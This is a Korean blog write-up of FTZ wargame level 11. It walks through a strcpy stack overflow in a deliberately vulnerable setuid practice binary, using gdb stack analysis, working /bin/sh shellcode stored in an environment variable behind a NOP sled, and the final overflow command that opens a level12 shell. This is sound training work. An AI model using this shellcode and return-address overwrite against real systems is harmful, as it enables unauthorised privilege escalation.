FTZ Level 11 풀이 (write-up)

Posted on April 18, 2019
티스토리로 블로그 이사중입니다.
http://kminito.tistory.com/ ×

문제 파악

level11로 접속 후 파일을 살펴봅시다.

1
2
3
4
5
6
[level11@ftz level11]$ ls -l
total 28
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Jan 14  2009 tmp

여느때처럼 hint가 있고, 수상한 attackme가 있습니다.
힌트를 먼저 살펴봅니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
	char str[256];

 	setreuid( 3092, 3092 );
	strcpy( str, argv[1] );
	printf( str );
}

이것이 attackme의 소스코드일 것이라고 생각 됩니다. attackme도 실행해보겠습니다.

1
2
3
[level11@ftz level11]$ ./attackme aaa
aaa[level11@ftz level11]$ ./attackme test
test[level11@ftz level11]$

개행문자없이 작성한 대로 나오는 걸 보니 맞는 것 같습니다. strcpy를 사용하므로 버퍼 오버플로우를 이용하는 것으로 예상이 됩니다.

코드에서 setreuid에 인자로 들어간 uid 3092는 level12의 유저와 그룹 UID입니다.

1
2
[level11@ftz level11]$ cat /etc/passwd | grep 'level12'
level12:x:3092:3092::/home/level12:/bin/bash

따라서, setreuid 함수 실행 후 돌아갈 return address를 이용하여 쉘 코드를 실행시키면 레벨12의 권한으로 쉘을 열 수 있습니다.

일단 파일이 메모리를 어떻게 할당하는지 확인해야 하므로 tmp 폴더에 attackme 파일을 복사해서 gdb로 살펴봅니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[level11@ftz level11]$ cp attackme /tmp/attackme
[level11@ftz level11]$ cd /tmp/
[level11@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disase main
Undefined command: "disase".  Try "help".
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   %ebp
0x08048471 <main+1>:	mov    %esp,%ebp
0x08048473 <main+3>:	sub    $0x108,%esp
0x08048479 <main+9>:	sub    $0x8,%esp
0x0804847c <main+12>:	push   $0xc14
0x08048481 <main+17>:	push   $0xc14
0x08048486 <main+22>:	call   0x804834c <setreuid>
0x0804848b <main+27>:	add    $0x10,%esp
0x0804848e <main+30>:	sub    $0x8,%esp
0x08048491 <main+33>:	mov    0xc(%ebp),%eax
0x08048494 <main+36>:	add    $0x4,%eax
0x08048497 <main+39>:	pushl  (%eax)
0x08048499 <main+41>:	lea    0xfffffef8(%ebp),%eax
0x0804849f <main+47>:	push   %eax
0x080484a0 <main+48>:	call   0x804835c <strcpy>
0x080484a5 <main+53>:	add    $0x10,%esp
0x080484a8 <main+56>:	sub    $0xc,%esp
0x080484ab <main+59>:	lea    0xfffffef8(%ebp),%eax
0x080484b1 <main+65>:	push   %eax
0x080484b2 <main+66>:	call   0x804833c <printf>
0x080484b7 <main+71>:	add    $0x10,%esp
0x080484ba <main+74>:	leave  
---Type <return> to continue, or q <return> to quit---Quit        
0x080484bb <main+75>:	ret    
0x080484bc <main+76>:	nop    
0x080484bd <main+77>:	nop    
0x080484be <main+78>:	nop    
0x080484bf <main+79>:	nop    
End of assembler dump.

위의 소스 코드를 살펴보면 setreuid 함수를 콜하기 전에 메모리의 공간을 확보하는 게 두 번으로, 총 108+8 = 110 => 272바이트만큼의 스택이 확장되었습니다. 여기서 main+9는 SFP(Base Pointer)와 RET(Return address)위한 것이므로, 메모리 구성을 다시 말하면 아래와 같습니다.

256(buffer) + 8 (dummy) + 4 (sfp: 이전 함수의 base pointer) + 4 (ret :return address - 이전 함수로의 return address)

아까 hint에서 256바이트 크기의 배열을 선언하는 코드

1
	char str[256];

스택 확장하는 부분

1
2
0x08048473 <main+3>:	sub    $0x108,%esp
0x08048479 <main+9>:	sub    $0x8,%esp

일단 이를 확인하기 위해 스택 확장 직전에 break point를 걸고 하나씩 실행을 해봅니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) break *main+3
Breakpoint 1 at 0x8048473
(gdb) run test
Starting program: /tmp/attackme test
Breakpoint 1, 0x08048473 in main ()
(gdb) i r ebp
ebp            0xbfffe028	0xbfffe028
(gdb) i r esp
esp            0xbfffe028	0xbfffe028
(gdb) x/3i $eip
0x8048473 <main+3>:	sub    $0x108,%esp
0x8048479 <main+9>:	sub    $0x8,%esp
0x804847c <main+12>:	push   $0xc14

첫 번째 스택 확장

1
2
3
4
5
6
7
8
(gdb) ni
0x08048479 in main ()
(gdb) i r esp
esp            0xbfffdf20	0xbfffdf20
(gdb) x/3i $eip
0x8048479 <main+9>:	sub    $0x8,%esp
0x804847c <main+12>:	push   $0xc14
0x8048481 <main+17>:	push   $0xc14

두 번째 스택 확장

1
2
3
4
5
6
7
8
(gdb) ni       
0x0804847c in main ()
(gdb) i r esp  
esp            0xbfffdf18	0xbfffdf18
(gdb) x/3i $eip
0x804847c <main+12>:	push   $0xc14
0x8048481 <main+17>:	push   $0xc14
0x8048486 <main+22>:	call   0x804834c <setreuid>
  • 처음 esp = ebp = 0xbfffe028
  • 108 만큼 스택 확장 후 esp = 0xbfffdf20
  • 8 만큼 추가 스택 확장 후 esp = 0xbfffdf18

예상했던 대로 esp가 바뀌었습니다.
근데 이 프로그램은 실행할 때 마다 메모리 주소가 달라집니다. 이 경우에는 환경변수에 쉘 코드를 넣어놓고, 환경 변수의 address를 ret에 넣음으로써 쉘 코드를 실행하게 할 수 있습니다.

자 이제 문제 해결 전략이 나왔습니다.

  1. 환경변수에 쉘코드를 집어넣고
  2. esp에서 268 바이트 거리에 있는 ret에 환경변수의 주소가 들어가도록 프로그램을 실행합니다.

문제 풀기

환경변수에 쉘 코드 넣기

달고나 문서에서는 eggshell.c 파일을 사용해서 환경변수에 NOP, 쉘코드 입력과 메모리 주소 확인을 한번에 했었는데, 여기서는 다른 분들의 write-up에 따라서 환경변수 추가 및 주소 가져오는 작업만 직접 해보겠습니다.

쉘코드는 구글에서 검색해서 찾았습니다. (쉘코드 출처 https://blog.kimtae.xyz/28)

1
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"

일단 제대로 작동하는지 한번 실행해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[level11@ftz tmp]$ cat shellcode.c              
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

void main(){
	int *ret;
	ret = (int *)&ret +2;
	*ret = sc;
}

[level11@ftz tmp]$ gcc -o shellcode shellcode.c
shellcode.c: In function `main':
shellcode.c:6: warning: assignment makes integer from pointer without a cast
shellcode.c:3: warning: return type of `main' is not `int'
[level11@ftz tmp]$ ./shellcode
sh-2.05b$ exit
exit

제대로 작동합니다.

이제 이 쉘코드를 egg라는 환경변수에 집어 넣을건데, NOP 썰매를 태우기 위해 쉘코드 앞에 NOP를 잔뜩 갖다 붙이겠습니다.

1
export egg=`python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

이제 getenv.c프로그램을 통해 egg환경 변수의 주소를 확인해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
[level11@ftz tmp]$ cat getenv.c
#include <stdio.h>

int main()
{
	printf("0x%x\n",getenv("egg"));
}

[level11@ftz tmp]$ gcc -o getenv getenv.c   
[level11@ftz tmp]$ ./getenv
0xbffffdc8

egg 환경변수의 주소가 0xbffffdc8임을 알 수 있습니다. 이제 이것이 ret에 들어가도록 attackme를 실행하면 될 것입니다.

프로그램 실행

위에서 살펴본 스택의 메모리 구조입니다.

256(buffer) + 8 (dummy) + 4 (sfp: 이전 함수의 base pointer) + 4 (ret :return address - 이전 함수로의 return address)

이제 버퍼의 268바이트에 \x90이 들어가고, 나머지 4바이트에 위에서 구한 egg의 주소값 0xbffffdc8이 들어가도록 하면 됩니다. 리틀엔디안 (Little-endian) 임을 감안해서 역순으로 적어줍니다. 참고 - 여기서 \x90는 그냥 버퍼를 채우기 위한 용도이므로, \x90 대신에 1바이트짜리 아무 값이나 넣어도 상관없습니다.

실행해봅니다.

1
2
3
[level11@ftz tmp]$ cd ~
[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*268+"\xc8\xfd\xff\xbf"'`                    
sh-2.05b$

정상적으로 실행됩니다.

1
2
3
4
5
6
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$